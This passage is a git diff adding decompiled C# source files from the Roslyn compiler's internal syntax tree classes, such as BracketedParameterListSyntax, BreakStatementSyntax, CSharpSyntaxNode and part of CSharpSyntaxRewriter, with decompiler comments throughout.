((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BracketedArgumentListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + arguments = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)arguments); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static BracketedArgumentListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BracketedArgumentListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BracketedArgumentListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BracketedParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BracketedParameterListSyntax.cs new file mode 100644 index 0000000..e3ad45f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BracketedParameterListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BracketedParameterListSyntax : BaseParameterListSyntax +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? parameters; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public override SeparatedSyntaxList Parameters => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(parameters))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal BracketedParameterListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? parameters, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal BracketedParameterListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? parameters, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal BracketedParameterListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? parameters, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => parameters, + 2 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBracketedParameterList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBracketedParameterList(this); + } + + public BracketedParameterListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = Parameters; + if (!((ref parameters) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + BracketedParameterListSyntax bracketedParameterListSyntax = SyntaxFactory.BracketedParameterList(openBracketToken, parameters, closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + bracketedParameterListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(bracketedParameterListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + bracketedParameterListSyntax = GreenNodeExtensions.WithAnnotationsGreen(bracketedParameterListSyntax, (IEnumerable)annotations); + } + return bracketedParameterListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BracketedParameterListSyntax(base.Kind, openBracketToken, parameters, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BracketedParameterListSyntax(base.Kind, openBracketToken, parameters, closeBracketToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BracketedParameterListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + parameters = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)parameters); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static BracketedParameterListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BracketedParameterListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BracketedParameterListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BranchingDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BranchingDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..e60b0e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BranchingDirectiveTriviaSyntax.cs @@ -0,0 +1,23 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BranchingDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public abstract bool BranchTaken { get; } + + internal BranchingDirectiveTriviaSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BranchingDirectiveTriviaSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BranchingDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BreakStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BreakStatementSyntax.cs new file mode 100644 index 0000000..70b3d71 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BreakStatementSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BreakStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken breakKeyword; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken BreakKeyword => breakKeyword; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal BreakStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)breakKeyword); + this.breakKeyword = breakKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal BreakStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)breakKeyword); + this.breakKeyword = breakKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal BreakStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)breakKeyword); + this.breakKeyword = breakKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => breakKeyword, + 2 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BreakStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBreakStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBreakStatement(this); + } + + public BreakStatementSyntax Update(SyntaxList attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || breakKeyword != BreakKeyword || semicolonToken != SemicolonToken) + { + BreakStatementSyntax breakStatementSyntax = SyntaxFactory.BreakStatement(attributeLists, breakKeyword, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + breakStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(breakStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + breakStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(breakStatementSyntax, (IEnumerable)annotations); + } + return breakStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BreakStatementSyntax(base.Kind, attributeLists, breakKeyword, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BreakStatementSyntax(base.Kind, attributeLists, breakKeyword, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BreakStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + breakKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)breakKeyword); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static BreakStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BreakStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BreakStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxNode.cs new file mode 100644 index 0000000..7cf752f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxNode.cs @@ -0,0 +1,278 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal abstract class CSharpSyntaxNode : GreenNode +{ + private static readonly ConditionalWeakTable>> s_structuresTable = new ConditionalWeakTable>>(); + + public override string Language => "C#"; + + public SyntaxKind Kind => (SyntaxKind)((GreenNode)this).RawKind; + + public override string KindText => Kind.ToString(); + + public override int RawContextualKind => ((GreenNode)this).RawKind; + + public override bool IsSkippedTokensTrivia => Kind == SyntaxKind.SkippedTokensTrivia; + + public override bool IsDocumentationCommentTrivia => SyntaxFacts.IsDocumentationCommentTrivia(Kind); + + internal CSharpSyntaxNode(SyntaxKind kind) + : base((ushort)kind) + { + GreenStats.NoteGreen((GreenNode)(object)this); + } + + internal CSharpSyntaxNode(SyntaxKind kind, int fullWidth) + : base((ushort)kind, fullWidth) + { + GreenStats.NoteGreen((GreenNode)(object)this); + } + + internal CSharpSyntaxNode(SyntaxKind kind, DiagnosticInfo[] diagnostics) + : base((ushort)kind, diagnostics) + { + GreenStats.NoteGreen((GreenNode)(object)this); + } + + internal CSharpSyntaxNode(SyntaxKind kind, DiagnosticInfo[] diagnostics, int fullWidth) + : base((ushort)kind, diagnostics, fullWidth) + { + GreenStats.NoteGreen((GreenNode)(object)this); + } + + internal CSharpSyntaxNode(SyntaxKind kind, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base((ushort)kind, diagnostics, annotations) + { + GreenStats.NoteGreen((GreenNode)(object)this); + } + + internal CSharpSyntaxNode(SyntaxKind kind, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations, int fullWidth) + : base((ushort)kind, diagnostics, annotations, fullWidth) + { + GreenStats.NoteGreen((GreenNode)(object)this); + } + + internal CSharpSyntaxNode(ObjectReader reader) + : base(reader) + { + } + + public override int GetSlotOffset(int index) + { + int num = 0; + for (int i = 0; i < index; i++) + { + GreenNode slot = ((GreenNode)this).GetSlot(i); + if (slot != null) + { + num += slot.FullWidth; + } + } + return num; + } + + public SyntaxToken GetFirstToken() + { + return (SyntaxToken)(object)((GreenNode)this).GetFirstTerminal(); + } + + public SyntaxToken GetLastToken() + { + return (SyntaxToken)(object)((GreenNode)this).GetLastTerminal(); + } + + public SyntaxToken GetLastNonmissingToken() + { + return (SyntaxToken)(object)((GreenNode)this).GetLastNonmissingTerminal(); + } + + public virtual GreenNode GetLeadingTrivia() + { + return null; + } + + public override GreenNode GetLeadingTriviaCore() + { + return GetLeadingTrivia(); + } + + public virtual GreenNode GetTrailingTrivia() + { + return null; + } + + public override GreenNode GetTrailingTriviaCore() + { + return GetTrailingTrivia(); + } + + public abstract TResult Accept(CSharpSyntaxVisitor visitor); + + public abstract void Accept(CSharpSyntaxVisitor visitor); + + internal virtual DirectiveStack ApplyDirectives(DirectiveStack stack) + { + return ApplyDirectives((GreenNode)(object)this, stack); + } + + internal static DirectiveStack ApplyDirectives(GreenNode node, DirectiveStack stack) + { + if (node.ContainsDirectives) + { + int i = 0; + for (int slotCount = node.SlotCount; i < slotCount; i++) + { + GreenNode slot = node.GetSlot(i); + if (slot != null) + { + stack = ApplyDirectivesToListOrNode(slot, stack); + } + } + } + return stack; + } + + internal static DirectiveStack ApplyDirectivesToListOrNode(GreenNode listOrNode, DirectiveStack stack) + { + if (listOrNode.RawKind == 1) + { + return ApplyDirectives(listOrNode, stack); + } + return ((CSharpSyntaxNode)(object)listOrNode).ApplyDirectives(stack); + } + + internal virtual IList GetDirectives() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if ((base.flags & 4) != 0) + { + List list = new List(32); + GetDirectives((GreenNode)(object)this, list); + return list; + } + return SpecializedCollections.EmptyList(); + } + + private static void GetDirectives(GreenNode node, List directives) + { + if (node == null || !node.ContainsDirectives) + { + return; + } + if (node is DirectiveTriviaSyntax item) + { + directives.Add(item); + return; + } + if (node is SyntaxToken syntaxToken) + { + GetDirectives(syntaxToken.GetLeadingTrivia(), directives); + GetDirectives(syntaxToken.GetTrailingTrivia(), directives); + return; + } + int i = 0; + for (int slotCount = node.SlotCount; i < slotCount; i++) + { + GetDirectives(node.GetSlot(i), directives); + } + } + + protected void SetFactoryContext(SyntaxFactoryContext context) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (context.IsInAsync) + { + base.flags = (NodeFlags)(base.flags | 0x40); + } + if (context.IsInQuery) + { + base.flags = (NodeFlags)(base.flags | 0x80); + } + } + + internal static NodeFlags SetFactoryContext(NodeFlags flags, SyntaxFactoryContext context) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (context.IsInAsync) + { + flags = (NodeFlags)(flags | 0x40); + } + if (context.IsInQuery) + { + flags = (NodeFlags)(flags | 0x80); + } + return flags; + } + + public override SyntaxToken CreateSeparator(SyntaxNode element) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Token(SyntaxKind.CommaToken); + } + + public override bool IsTriviaWithEndOfLine() + { + if (Kind != SyntaxKind.EndOfLineTrivia) + { + return Kind == SyntaxKind.SingleLineCommentTrivia; + } + return true; + } + + public override SyntaxNode GetStructure(SyntaxTrivia trivia) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxTrivia)(ref trivia)).HasStructure) + { + SyntaxToken token = ((SyntaxTrivia)(ref trivia)).Token; + SyntaxNode parent = ((SyntaxToken)(ref token)).Parent; + if (parent != null) + { + Dictionary> orCreateValue = s_structuresTable.GetOrCreateValue(parent); + SyntaxNode target; + lock (orCreateValue) + { + if (!orCreateValue.TryGetValue(trivia, out var value)) + { + target = (SyntaxNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.StructuredTriviaSyntax.Create(trivia); + orCreateValue.Add(trivia, new WeakReference(target)); + } + else if (!value.TryGetTarget(out target)) + { + target = (SyntaxNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.StructuredTriviaSyntax.Create(trivia); + value.SetTarget(target); + } + } + return target; + } + return (SyntaxNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.StructuredTriviaSyntax.Create(trivia); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxNodeCache.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxNodeCache.cs new file mode 100644 index 0000000..7fde587 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxNodeCache.cs @@ -0,0 +1,47 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal static class CSharpSyntaxNodeCache +{ + internal static GreenNode TryGetNode(int kind, GreenNode child1, SyntaxFactoryContext context, out int hash) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeCache.TryGetNode(kind, child1, GetNodeFlags(context), ref hash); + } + + internal static GreenNode TryGetNode(int kind, GreenNode child1, GreenNode child2, SyntaxFactoryContext context, out int hash) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeCache.TryGetNode(kind, child1, child2, GetNodeFlags(context), ref hash); + } + + internal static GreenNode TryGetNode(int kind, GreenNode child1, GreenNode child2, GreenNode child3, SyntaxFactoryContext context, out int hash) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeCache.TryGetNode(kind, child1, child2, child3, GetNodeFlags(context), ref hash); + } + + private static NodeFlags GetNodeFlags(SyntaxFactoryContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + NodeFlags val = SyntaxNodeCache.GetDefaultNodeFlags(); + if (context.IsInAsync) + { + val = (NodeFlags)(val | 0x40); + } + if (context.IsInQuery) + { + val = (NodeFlags)(val | 0x80); + } + return val; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxRewriter.cs new file mode 100644 index 0000000..6b26aba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxRewriter.cs @@ -0,0 +1,1608 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class CSharpSyntaxRewriter : CSharpSyntaxVisitor +{ + protected readonly bool VisitIntoStructuredTrivia; + + public CSharpSyntaxRewriter(bool visitIntoStructuredTrivia = false) + { + VisitIntoStructuredTrivia = visitIntoStructuredTrivia; + } + + public override CSharpSyntaxNode VisitToken(SyntaxToken token) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + SyntaxList val = VisitList(token.LeadingTrivia); + SyntaxList val2 = VisitList(token.TrailingTrivia); + if (val != token.LeadingTrivia || val2 != token.TrailingTrivia) + { + if (val != token.LeadingTrivia) + { + token = token.TokenWithLeadingTrivia(val.Node); + } + if (val2 != token.TrailingTrivia) + { + token = token.TokenWithTrailingTrivia(val2.Node); + } + } + return token; + } + + public SyntaxList VisitList(SyntaxList list) where TNode : CSharpSyntaxNode + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = null; + int i = 0; + for (int count = list.Count; i < count; i++) + { + TNode val2 = list[i]; + CSharpSyntaxNode cSharpSyntaxNode = Visit(val2); + if (val2 != cSharpSyntaxNode && val == null) + { + val = new SyntaxListBuilder(count); + val.AddRange(list, 0, i); + } + if (val != null) + { + val.Add((GreenNode)(object)cSharpSyntaxNode); + } + } + if (val != null) + { + return SyntaxList.op_Implicit(val.ToList()); + } + return list; + } + + public SeparatedSyntaxList VisitList(SeparatedSyntaxList list) where TNode : CSharpSyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SyntaxList val = SyntaxList.op_Implicit(list.GetWithSeparators()); + SyntaxList val2 = VisitList(val); + if (val2 != val) + { + return val2.AsSeparatedList(); + } + return list; + } + + public override CSharpSyntaxNode VisitIdentifierName(IdentifierNameSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Identifier)); + } + + public override CSharpSyntaxNode VisitQualifiedName(QualifiedNameSyntax node) + { + return node.Update((NameSyntax)Visit(node.Left), (SyntaxToken)Visit(node.DotToken), (SimpleNameSyntax)Visit(node.Right)); + } + + public override CSharpSyntaxNode VisitGenericName(GenericNameSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Identifier), (TypeArgumentListSyntax)Visit(node.TypeArgumentList)); + } + + public override CSharpSyntaxNode VisitTypeArgumentList(TypeArgumentListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.LessThanToken), VisitList(node.Arguments), (SyntaxToken)Visit(node.GreaterThanToken)); + } + + public override CSharpSyntaxNode VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + return node.Update((IdentifierNameSyntax)Visit(node.Alias), (SyntaxToken)Visit(node.ColonColonToken), 